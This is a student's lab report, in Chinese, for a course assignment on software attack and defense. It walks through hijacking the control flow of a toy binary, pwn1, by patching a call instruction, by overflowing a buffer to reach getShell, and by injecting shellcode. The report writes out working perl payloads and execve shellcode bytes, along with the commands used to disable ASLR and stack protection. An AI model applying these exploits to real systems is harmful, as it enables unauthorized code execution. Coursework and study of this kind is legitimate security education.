20232827 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。

实验要求:
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

2.实践过程

2.1进入kali

sudo su

修改用户名

hostname 20232827tzq

在这里插入图片描述
修改成功
复制学习通里的pwn1文件下载解压到kali桌面
在这里插入图片描述
用以下代码对pwn1文件进行反汇编操作

objdump -d pwn1 | more

在这里插入图片描述
可以看到这些个函数:
在这里插入图片描述
main函数的第四行调用了foo函数,call:e8
可以看到foo的起始地址08048491=call指令的结束地址080484+ffffffd7
在这里插入图片描述

改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可

首先使用如下指令,先保存个文件副本:

cp pwn1 pwn20232827
vim pwn1 pwn20232827

在这里插入图片描述
点esc退出编辑模式,然后输入:%!xxd
在这里插入图片描述
在这里插入图片描述

接着输入:wq进行保存
输入ls -l 查看文件权限
在这里插入图片描述
再次进入

vim pwn1 pwn20232827

输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3
在这里插入图片描述
然后esc 输入:
:%!xxd -r变为原来的格式
在这里插入图片描述
然后保存
接着输入指令进行验证:

objdump -d pwn20232827 | more

可以发现main函数已修改成功。

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串
先查看getshell的起始地址,为0804847d:
在这里插入图片描述
main函数的下一个地址是80484ba,通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。

先安装gdb:
在这里插入图片描述
调试程序:

gdb pwn1

在这里插入图片描述
先输入r运行该文件
然后输入一定长的字串:
14rhgejguq967ghjqwjruwhgaer9983185hgejkgaenjghirjt
在这里插入图片描述
报错显示有溢出
查看寄存器eip的值:

info r

在这里插入图片描述
我们应当使用小端字节序输入getShell函数的首地址,即7d 84 04 08

在一个新终端中键入

perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input
xxd input
(cat input; cat) | ./pwn1

最后输入ls进行测试,成功调用了getshell:
在这里插入图片描述
在这里插入图片描述

2.3注入Shellcode并执行
安装execstack

apt-get install execstack

这个下载有点问题,可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb进行下载,然后使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可完成安装。
在这里插入图片描述
设置堆栈可执行:

execstack -s pwn1 

查询文件的堆栈是否可执行:

execstack -q pwn1

在这里插入图片描述
查询是否关闭地址随机化:

more /proc/sys/kernel/randomize_va_space

在这里插入图片描述
关闭地址随机化:

echo “0” > /proc/sys/kernel/randomize_va_space

在这里插入图片描述
输入命令:

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode

然后在该终端运行

(cat input_shellcode;cat) | ./pwn1

注入这段攻击buf
在这里插入图片描述
打开另一个终端,运行ps -ef | grep pwn,可以看到pwn的进程9072:
在这里插入图片描述
gdb调试这个进程:

在这里插入图片描述
使用 disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
在这里插入图片描述

在正在运行的终端敲回车:
在这里插入图片描述
在这里插入图片描述
在调试终端,输入

info r esp

查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd3bc
在这里插入图片描述
我们使用如下指令查看该地址附近的数据
在这里插入图片描述
输入

perl -e 'print "A" x 32;print "\x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode

在这里插入图片描述
ff ff d3 bc +00 00 00 04=ff ff d3 c0
在这里插入图片描述

3.学习中遇到的问题及解决

  • 问题1:execstack无法下载

  • 问题1解决方案:参考了其他同学的博客,可以通过链接http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb进行下载,下载后找到文件位置使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb即可完成安装。

  • 问题2:对于过程的分析不太了解

  • 问题2解决方案:参考了其他同学的博客

4.实践总结

本次实验的主题是软件安全攻防,重点学习了缓冲区溢出和Shellcode注入技术。通过手工修改可执行文件、构造攻击载荷以及注入自制的Shellcode,深入理解了程序执行流程的漏洞和利用方式,加强了对计算机系统底层原理和安全性的认识。

参考资料

  • https://blog.csdn.net/u013782446/article/details/138595256
  • https://yebd1h.smartapps.cn/pages/blog/index?blogId=130604036&_swebfr=1&_swebFromHost=baiduboxapp
  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值